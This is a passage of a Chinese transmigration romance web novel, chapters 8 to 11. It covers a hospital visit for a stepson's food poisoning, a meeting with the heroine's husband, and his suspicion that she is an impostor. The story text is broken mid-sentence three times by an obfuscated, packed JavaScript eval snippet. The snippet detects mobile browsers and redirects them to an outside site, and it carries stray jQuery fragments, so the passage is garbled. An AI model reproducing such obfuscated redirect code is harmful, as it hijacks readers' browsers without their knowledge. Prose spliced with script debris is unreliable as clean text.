当她发现自己无法置身事外时,立刻决定改变接下来的策略,最起码弄清楚原身的家庭关系,心中有所戒备。 至于态度奇怪的金静,以后有的是机会打交道。 挠了挠猫下巴,金苒笑着夸赞:“乖,今天立大功,给你加餐。” “喵~” 三花猫喵喵叫,仿佛听懂了“加餐”二字。 一猫一人去找管家要吃的。 说来奇怪,之前管家去叫江许黎吃饭,半个小时过去了,两人迟迟没有下来。 等金苒找过去的时候,见管家正扶着从厕所出来的江许黎,少年一只手捂着肚子,脸色惨白,额头布满冷汗,不远处的地上还有一堆呕吐物。 “太太,少爷吐了两次了,”管家满脸焦急,“您看要不……” 金苒当即道:“去医院!” 又吐又拉,看着有点像食物中毒,这么严重有什么好犹豫的? 然而很快她就知道了管家的为难之处。 江许黎听到她的话,居然皱了皱眉:“我不去。” 金苒:“???” 你看我像在跟你商量? 额头青筋噗嗤噗嗤跳,年仅二十五岁的她,提前体会了一把家长面对熊孩子的心态。 金苒略过江许黎,直接对管家说:“让小孙把车开出来,你去拿上证件,五分钟后去最好的医院!” 8. 第 8 章 第8章 江许黎还想抗议,可惜没有人在意他的意见,他蹲了几次厕所,脱水脱到身体没有力气,等反应过来,人已经被塞到车上。 金苒本来没想去,但大家好似默认她要在场,于是最后也跟着一起。 四人用最快的速度赶到A市最大的医院。 急诊,检查,确诊,开药挂水。 忙活了一轮,总算是处理妥当。 豪门有豪门的优点,金苒虽然跟着来了,但事情都是旁人做的,她就负责在一旁当个吉祥物。 不过她自认为自己这个吉祥物还是很重要的,犹如一根定海神针,站在这儿,大家就能各司其职。 没一会儿管家走过来,他手里拿着医生开的药:“太太,这是少爷的药,一共三种,早中晚吃三次。” 金苒点头:“嗯嗯。” 管家见金苒没有伸手的意思,顿了顿,把药放在了隔壁椅子上:“别墅那边打电话,前些日子先生定的一批东西到了,需要人当面确认。” 来都来了,金苒总不可能半路离开,便善解人意道:“那你先回去吧,让小孙跟着一起,等时间差不多,再让他过来接我们。” 管家:“辛苦太太了。” 人一走,就剩下金苒和江许黎两个人。 好在挂水的地方位于医院走廊,现场还有许多其他病人和家属,金苒并不感觉尴尬。 江许黎坐在长椅上,左手扎着针,这会儿似乎恢复了点儿精神,正单手拿着手机噼里啪啦打字。 金苒看了会儿,似乎暂时不需要自己,便同样拿手机刷起考编题。 前几天为了打印题目,特意买了一份电子版,没想到真的派上用场! 金苒不知道的是,在她低下头的那一刻,原本状似忙碌的江许黎悄悄松了松紧绷的肩膀。 然后迅速将消息发出去。 半小时后,陈训良气喘吁吁来到医院。 得知黎哥住院,他害怕出了什么事,片刻不敢耽误,路上差点儿闯了红灯,紧赶慢赶来到地方,一眼就看到和后妈坐在一起的黎哥。 黎哥的长相属于校草级别,深受学校女生的欢迎,单陈训良这些年转交的情书就有厚厚一摞。因为生病,眼下气质蔫蔫的,倒是比平日多了点儿病弱美感。 本以为这就够绝了,没想到更绝的是他旁边的年轻女人! 金苒只比江许黎大十岁,两人坐在一起不像后妈与继子,反而像姐弟。 此刻,她单手环抱胳膊,鸦羽似的睫毛在小块皮肤上落下淡淡阴翳。 鼻间充斥刺鼻的消毒水,来往嘈杂似乎不入她的耳,她一边看手机,一边时不时抬头观察一下吊水的位置,偶尔有人路过,看着比别处亮了不止十分的的画面,也觉赏心悦目。 陈训良忍不住想,如果黎哥后妈的“刁难”都是这样,其实也没有什么不好的。 江许黎快把手机翻烂了,一抬头,看到他等的人正呆呆站在那儿,顿时气笑了:“变成傻子了?” 陈训良嘿嘿笑,黎哥还能骂人,看来身体问题不大。 他嬉皮笑脸走近,先和金苒打了声招呼,金苒点头回应。少年时期的友谊就是如此,一句话、一个电话就能将人呼唤过来,没有任何的抱怨和算计,有的只有朋友之间的关心。 她忍不住小小地羡慕了下。 只有经历过成长,才懂得一些事情的难能可贵。金苒的学生时代起于千禧年,渡过一段长长科技乌托邦,那时候流行港风,流行还珠格格小燕子,一声姐妹大过天,后来年龄越来越大,曾经的好朋友也有了各自的生活,每日忙来忙去,渐渐联系就淡了。 只有逢年过节转发复制粘贴的拜年文案,换来彼此一句“谢谢”,“同喜同喜”,然后随意丢到一边。 再看眼前搂着肩膀的好哥俩,金苒眸光都慈爱了,她像曾经自己遇到的那些大人一样,感叹了一句: 这就是青春啊。 被注视的陈训良打了个哆嗦。 “?” 总感觉黎哥后妈看他好像看一块五花肉。 金苒知道陈训良来了,自己大概率要下岗,她收起手机,果然下一秒江许黎就开口:“让良子在这看着就行,你去忙吧。” 顿了顿,补充一句:“今天谢了。” 连谢人都是拽酷拽酷的。 金苒如今已经对江许黎稍有了解,桀骜,别扭,但要说坏也算不上,她礼貌微笑:“你们两个可以吗?” “可以可以,”陈训良忙不迭承诺,“阿姨你就放心好了,我保准把黎哥伺候得舒舒服服,要吃饭给饭要喝水给水,就是上厕所我也能帮他脱裤……” “闭嘴!”江许黎脸都绿了,一脚踢过去。 后者一个潘周聃扭身躲开,看到放在座位上的药,顺手拿起来,掐着嗓子说话:“大郎张嘴,奴家先给你喂药。” 金苒见他们打打闹闹,噗嗤笑出声,吃药需要水,但他们没带杯子,她站起来:“我去买吧,这瓶药只剩下一个底,等会儿记得叫护士过来换药。” “没问题!” 走远了,还能听到身后少年人的嘻嘻哈哈的笑声。 出了医院,对面就是一条商业小街,粥店,药房,水果店便利店一应俱全,方便了住院的病人,反过来病人也提供了巨大需求量。 互利互惠。 金苒进去买了两瓶矿泉水,咬咬牙又买了俩面包。 再多余的就没有了,江许黎食物中毒,肠胃怕是很虚弱,不敢给他随便吃东西,另外一方面,她现在是个穷人,在找到工作前,每一分每一厘都得精打细算,实在没有豪掷千金的魄力。 说不定江许黎手上的钱比她还多,如果真饿了,可以用手机点外卖。 哎! 金苒长叹一口气。 所以为什么天上不能下一场金钱雨呢?她并不贪心,捡几万块就很满足了。 一边做梦一边往外走,殊不知,不远处有一个穿着白大褂的男人,看了她一眼又一眼。 魏漠是趁着休息时间,过来便利店买点吃的。 他平时一般吃医院食堂,今天去的晚了点儿,菜卖完了,只好退而求其次吃速食。 一开始看到金苒,是觉得对方长得漂亮,爱美之心人皆有之,下意识多看了几眼。 不过越看越觉得眼熟,最后想起什么,他从小群里翻出江明羧结婚那天拍的照片,一对比,长得跟新娘子一模一样! 这是得到消息,过来探望了? 临近午间,等电梯的人比较多,金苒进去后没来得及按楼层就被挤到最里面。 她有些无奈,打算让前面的人帮忙按一下,还没开口,旁边的好心人就说:“我帮你按了。” 金苒心想我都没有说话你怎么知道我要去几楼,她正纳闷,电梯已经径直过了三楼,直奔着六楼去。 六楼是住院部,那医生热情地给金苒指路:“从这儿往前走,左边第三间病房,我有点儿事,就不送你过去了。” 金苒更疑惑了。 江许黎两人不是在门诊打针吗,怎么短短一会儿的功夫就转到住院部? 但出于对白大褂的信任,她还是选择了相信,甚至顺着这条思路往下想了想——再铁的锭也耐不住连坐三个小时,尤其像江许黎这样养尊处优的富二代,肯定吃不了苦,选择更舒服的住院也不是没有可能嘛! 就这样,金苒按照医生的指示找到病房。 门缝透出一片静谧的安宁,光线半遮掩着,于地板投下一道细长的光痕,她站定,抬手敲门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281791|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“咚咚咚。” 没有回应。 以为是里面的人没听见,金苒又敲了敲,谁知这次门忽然打开了,于是她敲门的手落到开门人的胸膛上。 事后金苒每次回忆起来都恨不得捂脸。 到底要怎么解释,才让人明白她真的真的是个很正直的人啊! 但当时的金苒根本没有反应过来。 手下是和木板迥然不同的触感,半软不硬,柔韧中带着点儿结实的力道,微微膨起来,她下意识用了点儿力。 头顶传来一声闷哼,那声音意外沙哑地性感,金苒想,这大概就是网上描述的那种听一下就怀孕的声音。 怀不怀孕不知道,但好听是真好听。 她思绪胡乱飞,直到头顶传来质问:“摸够了吗?” 仿佛平地一声惊雷,金苒猛地清醒过来! 她僵硬地转动脖子,视线尽头,是自己那只“作恶多端”的手,天啊啊啊啊啊! 火速将手收回来,连带着整个人往后倒退两三步。 “抱歉,我走错……” 下一秒,对上了男人的眼睛。 要怎么形容呢? 那是一双格外深邃的桃花眼,眼皮薄而紧,划开一条微微上扬的线,眼尾填着沟壑,卧蚕狭长宽展,看似深情款款,可当他看过来时,却让人浑身发凉。 金苒怔住。 没想到这人长得还怪好看。 金苒不是没有见过帅哥,上辈子她谈过几次恋爱,每一任男友都是素人中的佼佼者,其中一个在网上发照片,仅用半个月就吸引百万粉丝,后面顺势当起了网红。 眼前这个男人和他们比一点也不差,甚至更胜一筹。 金苒略微想了想,大概是因为她年纪上来了,以前喜欢活泼开朗男大,绿茶撒娇小甜弟,当然现在她也喜欢,但同样学会欣赏成熟男人的魅力。 比如这位,虽然只穿着一件看似简单的衬衫,可从衬衫的颜色,以及被她蹂躏了半天还坚.挺的材质来看,绝对是一件高档货。 而这样的高档货,无可非厚将男人的身材完美修饰出来,宽肩窄腰,锁骨半露,两侧胸肌撑着弧度。 她好险不险忍住没往下继续看,不过以刚才的手感来说,绝对有料。 男人个头很高,比一米六八的金苒高出一头,举手投足间透露出上位者的气势,站姿随意又保持警惕,给人一种凌驾于规则边缘,痞致的野.性。 这样的长相和气质,在小说中不可能是普通人吧? 难道是女主的某个追求者? 那她不小心调戏了女主的追求者,会不会什么后果? 就在金苒隐隐担忧的时候,沉默的帅男人开口了。 “你怎么来了?” “是金家告诉你的?” 金苒一脸茫然:“什么?我是陪别人过来看病。” 闻言,男人极轻地皱了下眉,很快反应过来:“许黎病了?” 这熟络的语气,这和江许黎如出一辙的桃花眼,某个瞬间,金苒忽然灵光一闪。 她望着对方,试探开口:“老,老……老江?” 原谅她吧,真喊不出那两个字啊。 江明羧听到她的称呼,表情有一瞬间的停顿。 见状,金苒心提起来。 好在最终他没有说什么,点了点头。 破案了。 还真是江明羧啊。 走入死胡同的路开始峰回路转,好消息,她摸的不是女主的男人,下半本书性命无忧。 坏消息,她摸的是江明羧,那个书中结婚三年,和原身始终保持身体距离,以至于原身得不到关心精神缺爱,成为圈子里人人皆知的豪门弃妇的便宜丈夫。 所以,到底是幸运还是不幸? 9. 第 9 章 第9章 江明羧垂着眉眼,不动声色打量面前的女人。 她的表情太过精彩,脸上的细微变化虽掩饰地很好,但从他的角度还是一览无余。 一会儿惊讶一会儿苦恼,仿佛打翻了调色盘,五颜六色。 实在……罕见。 思考了半天,他才想出一个形容。 金苒自己纠结来纠结去,没有得到解决办法,反而忽然意识到一个问题,她摸都摸了,难道还能反悔不成?! 既然无法改变,由此衍生出来的事情也不受她控制,那她还管摸的对象是谁做什么! 想明白真相,眼前一片豁然开朗,连呼吸进去的消毒水都变得清新起来。 而且,金苒是不相信男人这种生物能够无欲无求。 她穿过来的第一天就看过原身的长相,巧合的是,和她本人基本一模一样,不知道是不是这个原因,才会让她去世后穿到书中,借着一个角色重新开始新生活。 话题跑远了,金苒想说的是她对自己的长相还是非常自信的,不算明艳大美女,也是一枚酸甜可口的纯.欲.甜妹,所以江明羧选择分房而睡,绝对不是她的原因! 想起上辈子和闺蜜们的聊天,男人过了二十五岁就走下路,三十岁更是断崖似,虽然具体视个人情况不一而论,但年龄仍旧是个大趋势。 今年江明羧已经三十五岁。 尽管从外表来看并不明显,更像二十七八,但那方面的事情,谁又知道呢? 金苒不无阴暗地暗戳戳想着,表面还得露出欣喜惊讶的样子:“你怎么在这?!” 不用回答,她心里其实已经知道答案。 出现在医院的,除了生病的病人就是来看望病人的,之前没有注意,这会儿仔细看金苒才发现江明羧的胳膊缠着纱布:“意外划了下,过来包扎。” “很严重吗?” “还好。” 说这话的时候,江明羧的目光一直落在金苒身上,不过女人的表情不像之前那样变来变去,反而很快就相信了自己,不由皱了皱眉。 难道猜错了? 金苒倒是真没有那么多奇奇怪怪的想法。 试问她连金家都不了解,金家和江明羧之间的牵扯自然更是一无所知。 这会儿她感受着落在身上的若有似无的视线,只觉得如芒刺背,如鲠在喉,如坐针毡,很想一走了之。 江明羧和江许黎不同,后者十五岁,中二叛逆,对于她这个后妈的态度以无视居多,所以即便她做出出格的事情,他或许会奇怪,更大可能不以为意。 可江明羧是和原身结婚的人。 哪怕两人之间分房而睡,但结婚这种事情肯定需要两个人商量吧?原身又是一个“恋爱脑”,她之前就因为聊天的事情露出过马脚,很怕再相处下去,会被男人扒得皮都不剩。 “那个……”人一紧张,就容易变得话多,以此掩饰真正的意图话题,金苒语速飞快道,“小黎在三楼挂水,现在是他的朋友在陪着,我打算把水送过去,你要不要一起?” 江明羧顿了顿,颔首:“稍等。” 他返回病房,进去的时候,不知有意无意,房门被完完全全带上。 再出来,身上已经换了一套衣服,衬衫西装,一表人才,领口解开两枚口子,相比较之前那件,算是很保守了。 金苒淡淡移开眼,迈开步子在前面带路。 为了照顾病人,她走的速度不算快,长至小腿的裙子微微晃动,扫起阵阵凉风,偶尔会露出白到发亮的脚踝。 落后一步的江明羧,脸上露出若有所思的表情。 她这幅样子和之前完全不同,没有了刻意讨好,对他的“关心”也不再出于某种目的,好似只是单纯客套。 和得知邻居家的三姑的儿子受伤后礼貌询问,没有任何区别。 这让江明羧有些疑惑。 他至今还记得,第一次见到金家二小姐时,对方眼底的鄙夷。 A市几个自诩豪门的家族向来如此,拿着鸡毛当凤凰,像他这样从底层爬起来的,在他们眼中永远都是粗鄙不堪的“暴发户”。 江明羧对这样家族养出来的“大小姐”见多不怪,他和金家联姻,为的是金老爷子手中的东西,一个女人的态度并不在他考虑范围内。 没想到,这位前脚鄙夷他的大小姐后脚居然愿意嫁给他,婚后还一直积极展现她的“善解人意”。 如果对方的厌恶能藏得更好些就好了。 江明羧不是受虐狂,一场为了利益的商业联姻,没有什么感情,她无奈抗拒,他便主动避开。 两人相敬如冰。 而现在,仅仅几天的时间,那双圆润的杏眼里就没有了鄙夷和轻视,明亮如星辰,干净到让人一眼看到底。 江明羧之前一直好奇,金苒为何忍着反感也要上赶着讨好他。 不过现在,他更好奇一个人怎么会变化这么大。 “……早上吃饭的时候没有下来,程管家去敲门后才发现问题,然后就来了医院,医生说是食物中毒,吃坏了肚子。” 路上,金苒尽量把事情经过还原。 她是后妈,单独和继子在家遇到这种事情,当然要向孩子的亲生父亲解释清楚:“不过医生说不是很严重,吃两天药就好了。” 江明羧可有可无地点头。 “行。” 金苒:“……” 怎么感觉他这个亲生父亲比自己的后妈还不靠谱呢? 既然他不关心,接下来她没有再多费口舌。 另一边,陈训良正给江许黎剥瓜子。 偶然从兜里发现的,听说江许黎早餐只吃了几片面包,便大方地表示要把所有的瓜子都给他。 “所以是你后妈把你送来的?” 听完讲述,他问道。 江许黎点了点头。 陈训良长大嘴巴,犹豫了会儿,说:“那个,其实我觉得你后妈没有想象中那么坏。” 江许黎看了他一眼:“稀奇啊,居然改口了。” “真的,她要是坏,完全可以装作看不见,可她坚决要送你来医院,肯定是担心你。” 闻言,江许黎表情有些恍惚。 担心? 这个词对他来说太过陌生,像一片羽毛,轻飘飘落在心上没有重量,只是无端激起痒意。 陈训良挠挠脑袋,他觉得自己的分析鞭辟入里,当然,不是让兄弟接受后妈,只是单纯发表一下看法。 黎哥在他心里还是最重要的。 江许黎默默看着手上的针头,片刻后道:“管她是为什么,我只知道我不会认她当妈。” “说得对,以后她会有其他孩子,到时候你这个非亲生的肯定靠边站。” 江许黎:“……” 突然觉得这张脸面目可憎起来。 这时候,走廊里说话声渐渐变大,有人小声议论:“天啊好帅啊,男帅女靓,是来拍戏的明星吗?” “不是明星咯,那个女的我见过,陪她孩子来挂水呢,喏,就是那边那个头发遮住眼睛的。” 江许黎:“……” “哪个哪个?小胖子旁边那个吗?” 刚想笑的陈训良:“……” 路人言语如飞箭,二人齐齐中伤,江许黎抬起头,看到并肩走来的两人。 他扯了扯嘴角,突然明白金苒为什么要送他来医院。 不过知道了,他也没有什么想法。 因为从未期待,所以不会失望。 只不过,心里莫名空落落的。 看到江明羧的那一刻,陈训良犹如耗子见了猫:“卧槽,江叔叔怎么来了,不会是知道你生病,特意赶回来的吧?!” 回过神的江许黎听到这句话,嘴角勾起嘲讽的弧度。 他爸可从不在乎他是健康还是生病。 他静静注视着男人走近,两人谁都没开口,最后江许黎低下头,喊了一声:“爸。” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281792|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明羧看着面前这个长得快和自己一般高的儿子,“嗯”了声。 说来他们已经很久没有这样面对面交流,他忙于工作,忙着和a市的那些商人打交道,对这个和前妻的儿子关注很少。 少有几次关心,也以不满意居多,心肠软弱,优柔寡断,根本不像他。 譬如这次的事情。 “听说你把过期的面包全部吃掉了。” 江明羧语气平静,说出的话却针针见血,“你有没有想过,因为你的错误大家不得不放下手上的事情来照顾你,兴师动众,你可真厉害。” 闻言,江许黎猛地握紧椅子把手。 再不期待,也无法接受上来就是指责,原本的内疚被愤怒掩盖,轰得升起一团怒火,他壮着胆子瞪男人:“和你没有关系!”反正你也不管我! 江明羧听得好笑:“和我没有关系?” “你现在享受的物质,开的豪车,吃的高档食物,上的优秀学校,可全都和我有关系。” 江明羧淡淡回应,每列举一个,江许黎拳头便握得越紧,最后嘴唇几乎咬破,因为他无法反驳。 可他想,如果可以,他宁愿生活在一个普通的家庭。 有爸爸,有妈妈,他们会关心他的悲欢喜乐,会为他的学业进步骄傲,也会在他犯错的时候,严厉批评指责。 而不是无视,毫不在意。 想到这,少年眼睛有些发烫,却固执地不让眼泪掉下来。 只是过来送水的金苒:…人麻麻的。 她甚至没有反应过来,父子两人就莫名其妙吵起来。 江明羧的那些话说得没错,他白手起家,一路摸爬滚打才达到现在的成就,其中艰辛不足而论。 可问题在于,对于一个十五岁的未成年说这样的话,只会火上浇油。 看着垂着脑袋,像只丧气小狗似的江许黎,金苒突然师德泛滥,深深怜爱了。 于是在听到江明羧说“连过期面包也是我的”时,她没忍住脱口而出:“面包他吐出来还给你了。” 瞬间,三个人的目光朝她看过来。 金苒:“……” 压力山大。 她咳了咳,决定当做没有看见,生硬地转移话题:“我买了水,先喝药吧。” 江许黎一动不动,他的好兄弟陈训良眼疾手快接过去:“我来拧,我手劲大!” 他真的快要吓死,大家都知道江叔叔厉害,再调皮的孩子遇到江叔叔也得夹起尾巴,可没想到江叔叔这么可怕啊! 那些话连他这个外人都听得心里发堵,更不用说黎哥了。 陈训良有些难过,决定以后一定要好好孝顺黎哥。 / 看完病人,几人各自分别。 江明羧那边需要助理办理出院手续,金苒便自己一个人提前离开。 回到别墅后,她把江明羧回来的消息告诉了管家,后者表示立刻会收拾好卧室。 金苒点点头,江明羧也在二楼,但离自己的卧室很远,她收起所有的心思,开始闭关锁门一心一意地刷题。 沉浸在知识海洋的时间总是过得飞快,如白驹过隙,眨眼到了晚上。 院子里传来汽车的鸣笛,过了会儿,江明羧和助理走进来。 金苒还在后面看到了江许黎。 她有些惊讶,没想到父子两人是一起回来的。 那边,王特助搬着行李交给管家,打招呼:“太太。” 金苒微笑:“你好。” 江明羧晃着松开领口的扣子,他似乎很不喜欢西装的束缚:“让小孙送你回去,明天早上再过来一趟。” “好的,江总。” 王特助放下行李后就离开了。 江明羧一边脱西装,一边往衣帽间走去。 江许黎更是早就消失不见。 剩下的金苒刷了脸熟,见左右没有自己的事情,也转身回房间继续刷题。 不过,她总感觉自己好像忘记了什么? 10. 第 10 章 第10章 江明羧走进衣帽间时,看到里面挂满女人的衣服,琳琅满目,占据大壁江山。 而他的衣服则被挤在一个小小角落,黑与灰的色调沉闷又单调,孤零零的仿佛被人遗忘。 他脚步下意识停顿。 即便只是一场毫无感情的协议婚姻,但从法律层面来讲,金苒已经成为他的合法妻子,有权利住进这栋别墅。 江明羧意识到这一点,心情有些说不清道不明的奇怪。 更没想到是,他出差不过短短几日,金苒就已经完美适应新环境,目光所及之处,皆是另外一个人的痕迹。 但很快,他的表情又恢复正常,抬脚走到衣柜前拿换洗的干净衣物。 一团攒成堆的东西从夹层里掉了出来。 一开始,江明羧并没有认出那团“布”是什么,直到他捡起来,慢慢把“布”展开。 薄如蝉翼的蕾丝,勾勒振翅高飞的两朵蝴蝶,性感的黑丝半遮半掩,光线洒在其上,轻而易举照.射.到地面。 男人手僵在半空,半晌,脸上的表情变得讳莫如深。 另一边,金苒刚回到房间,手机就跳出短信提醒。 解锁打开,发现是一条银行到账提醒。 显示她名下尾号4360的工商卡刚刚收入二十万人民币。 多少??? 金苒吓了一大跳,立刻登录手机银行查看,然后看到只有一千元的余额那里,确确实实变成了201369。 不是两千,不是两万,是整整六位数的二十万! 金苒掐了掐自己的胳膊,疼得嘴角流下泪来,她想起昨天随口许愿的“天降横财”,难道是神仙听见了她的愿望? 狂喜过后,不多的理智逐渐回归。 金苒后知后觉不太对劲。 她刚来这个地方,认识的人十个手指数过来,不存在有人给她打钱。原身家族破产,本身没有工作,也不像有钱的样子。 再去网上一搜,好多网友都有类似的经历。 先是莫名其妙收到一笔钱,后续会有人打电话表示转错账,要求原路退回。 网友:其实这个时候你就掉进对方的陷阱啦!这是典型的‘转账诈骗’套路,骗子利用银行转账延迟到账的漏洞,等你退回‘误转’的钱后,他们就会撤回原始转账。 还有网友分享暖心经历:也可能是真的转错账,我就遇到过,好在小姐姐讲道理,核实后立刻退款,作为回报,我请小姐姐连喝一周奶茶~ 底下评论纷纷接奶茶。 总而言之,无论哪种情况,金苒卡里的二十万大概率与她无关。 随意动用,需要全额赔偿,还可能倒贴手续费——再严重点,如果遇上专业诈骗团伙,说不定连她账户里的一千元都会被套走。 真应了那句话——屋漏偏逢连夜雨,穷人工资不够补。 望着还没有握热乎的二十万,金苒心疼得几乎滴血。 可光心疼解决不了问题。 翻了翻网上的建议,基本上众说纷纭,有些甚至互相矛盾,譬如,金苒就迟迟没有接到“追回”电话。 她着急地在房间里来回踱步,最后实在没办法,决定找人商量一下。 找谁好呢? 忽然,她脚步一顿——家里不就住着个现成的金融大佬嘛! 金苒眼下也顾不得会不会露馅了,让她没钱活着,还不如直接要了她的命! 衣帽间的房门大敞,隔着门缝,看到男人背对着站在房间内,金苒急急忙忙闯进去:“那个,我有件事情想请教你,刚才有人给我打账二十万……” 江明羧转过身子,语气淡然:“是我让王助转的。” “啊?” 金苒懵了,所以不是骗子? 江明羧静静看着她,不得不提醒:“我看到了你的朋友圈。” 金家公司破产后,金家人顶着“老赖”的名声不愿清偿债务,手上资金虽说比不上从前,但绝对远超普通人。 只可惜这些豪门大小姐早习惯了挥金如土的奢侈生活,哪怕生活水平降低一点点,也仿佛要了她们的命,所以当金苒在朋友圈哭穷时,江明羧自然而然地理解为——她是在向自己要钱。 对此,他没有意见。 商业联姻本质是各取所需,早在结婚的时候彼此已经心知肚明。对待商业伙伴,江明羧向来大方:“以后再缺钱,可以直接找我。” 金苒被惊喜砸得头晕眼花:“额…不太好吧?” 理智告诉她,无功不受禄,不能白吃白喝江明羧的东西,但情感上她又说服自己,夫妻享有婚后共同财产,她都没有平分他的全部资产,只是拿点儿生活费不是理所应当的事情吗? 江明羧再次看了她一眼。 着重在金苒快要拧成麻花的眉间略过。 “没什么不好。”等快被发现时他收回视线,态度寻常到仿佛在说明天的天气,“我江明羧的女人,不至于没钱花。” 金苒:啊……这难道就是传说中的霸总语录? 神色变得有点儿古怪,似乎想笑又忍住了。 同时,她终于明白那些小说中霸总的女人为什么会被感动落泪,因为她这会儿一点儿也没有被雷到,反而觉得豪掷千金的江明羧有些帅。 嗯,好吧,是比之前帅一万倍! 在江明羧的视角里,则是金苒说了几句话,开始莫名其妙站在那儿发呆。 秀眉飞扬,漂亮的杏仁眸子闪烁着星星光芒,中途好似想到什么开心的事情,唇角往两侧拉扯,露出一点点洁白牙齿。 他目光缓慢下移。 穿的衣服也换了,从医院里成熟稳重的长裙,变成有些幼稚的卡通家居服,这在以前的金苒身上是绝对不可能看到的。 江明羧长睫下的眼神变得锋利,仿佛开了刃的刀:“问完了?正好我也有事情要问你。” 金苒没有察觉男人语气的变化,轻松道:“你问吧。” “你是谁?” “咳,咳咳咳!” 下一秒金苒便被口水呛到,捂着嘴巴疯狂咳嗽起来。 她咳得太厉害了,几乎要把肺给咳出来,江明羧皱了皱眉,抬脚离开衣帽间,过了会儿又端着一杯水回来。 金苒立刻接过去。 借着喝水的动作,掩饰住脸上的慌乱。 他是怎么发现的?! 是在医院,还是更早的时候? 不对,金苒很快就否决,医院里的江明羧或许察觉她的变化,但应该不会往这方面猜测。 好似是刚才发生了什么事情,才让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281793|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于确定。 金苒忍不住思考。 正在这个时候,她余光瞥见了自己身上穿的家居服。 ——是昨日逛街时顺手买的,因为嫌弃原身的睡衣“不日常”,所以特意挑选了一件纯棉材质。 金苒:“……” 好像知道原因了。 江明羧眸色深邃,不错过女人脸上的一丝变化。 看她慌张,疑惑,又转为恍然大悟。 他心中的好奇不仅没有消失,反而愈演愈烈。 “你在说什么?我就是我啊。” 金苒拒不承认。 闻言,江明羧嘴角竟勾起极淡的弧度,笑意凉薄冷清:“你不是金苒,双胞胎还是整容?” 疑问句但用的肯定语气。 显然,他坚信自己的判断。 只不过江明羧也有一直没有弄明白的地方。 像金家这样的门户,绝不可能放任私生子流落在外,后者如果想整成一模一样的脸,则需要手术恢复期。 他觉得两种都差些。 该说不说,不愧是书中让男主都甘拜下风的大佬,敏锐度不是一般高。 金苒由衷有些佩服,不过可惜的是,对方再敏锐,也不会想到穿书这样离奇的事情。 换句话说,她不承认,他还能把她绑去切片? 想明白这一点,金苒勉强放下心来,低头做出伤心的模样:“我不知道你在说什么,虽然我们结婚才两周,但你也不至于忘记我吧。” 这话说的,金苒都想给自己点个赞。 不仅表情语气合适恰当,还反过来倒打一耙,以后要是不走体制内,她说不定还能往娱乐圈闯一闯呢。 “而且刚来你家的时候,我一个人都不认识,只能每天和你聊天,后来找到事情做,才渐渐习惯。” 两人之间不管有没有感情,原身都是一往情深的那位,她这是解释自己变化的原因。 果然,江明羧表情松动,好像有些被说服了。 见此情形,金苒心下一喜,再接再厉道:“对了,你还记得吗,你走的时候,我说要给你一个惊喜呢。” 感谢堂姐金静的到来,让金苒抽空把原身的聊天记录全部看了一遍,知道了两人之间的“小故事”。 她故意“漏”一点儿信息,应该能以假乱真吧? 这样想着,便见对面的江明羧深深看了她一眼。 然后当着她的面抬起手,修长的食指和无名指中间夹着一件情.趣.内衣:“你说的惊喜是这个?” 金苒:“???” 金苒:“!!!” 天啊!她终于想起自己忘的事情了! 她忘了把原身买的东西给收起来!!! / 从医院回来,江许黎便把自己关在房间。 可白天那些话却像咒语一样,在他脑子里一遍遍打转,他很想质问,既然瞧不上他,当初为什么让他来到这个世界? 越想越气,最后借着一股怒气,江许黎猛地爬起来,他爸越嫌弃什么,他越要做什么,准备现在就去厨房吃个十袋八袋面包! 结果下楼的时候,正好撞见金苒眼眸带水地跑出来。 少年不可置信地停下来,满脸惊愕。 他爸竟然把人骂哭了? 11. 第 11 章 第11章 金苒含着泪跑回卧室。 门一关,她脸上的表情就消失不见,除了红晕暂时退不下去,哪里有半点小女儿的娇态? 咳,好吧,其实还是有些羞耻的。 人生第一次遇到帅哥拿着情.趣内.衣站在面前,而她不仅老僧入定,还有一种想要逃跑的冲动。 怎么能让人不感到遗憾呢? 金苒深深叹了口气,她其实早就做好了掉马的准备,只是没想到会这么快。 江明羧这人太过危险,他今年三十五岁,人的一生又有几个三十五岁?无论是生活阅历还是事业成就,他都远胜二十五岁的金苒。 就像江许黎面对金苒时有一种被看透的感觉,金苒在对上江明羧的时候,同样有如此的感觉。 她猜不透他的想法,以至于无法做出正确的判断,仿佛走在刀尖上,时刻提心吊胆。 但金苒不觉得像江明羧这般聪明的商人会无缘无故做某件事情,所以他今天试探这一番,到底为了什么? 解除婚姻?亦或者为原身打抱不平? 前者两人刚刚结婚,后者从原书剧情来看也不太可能。 金苒思考了半天都没有思考出答案,暗骂小说背景板没有人权,最后干脆破罐子破摔地仰躺在床上。 如果江明羧要碾死自己,估计比碾死一只蚂蚁还要简单,她除了见招拆招还能有什么办法呢? 只是这种无法反抗的感觉,让金苒再次感受到了久违的挫败。 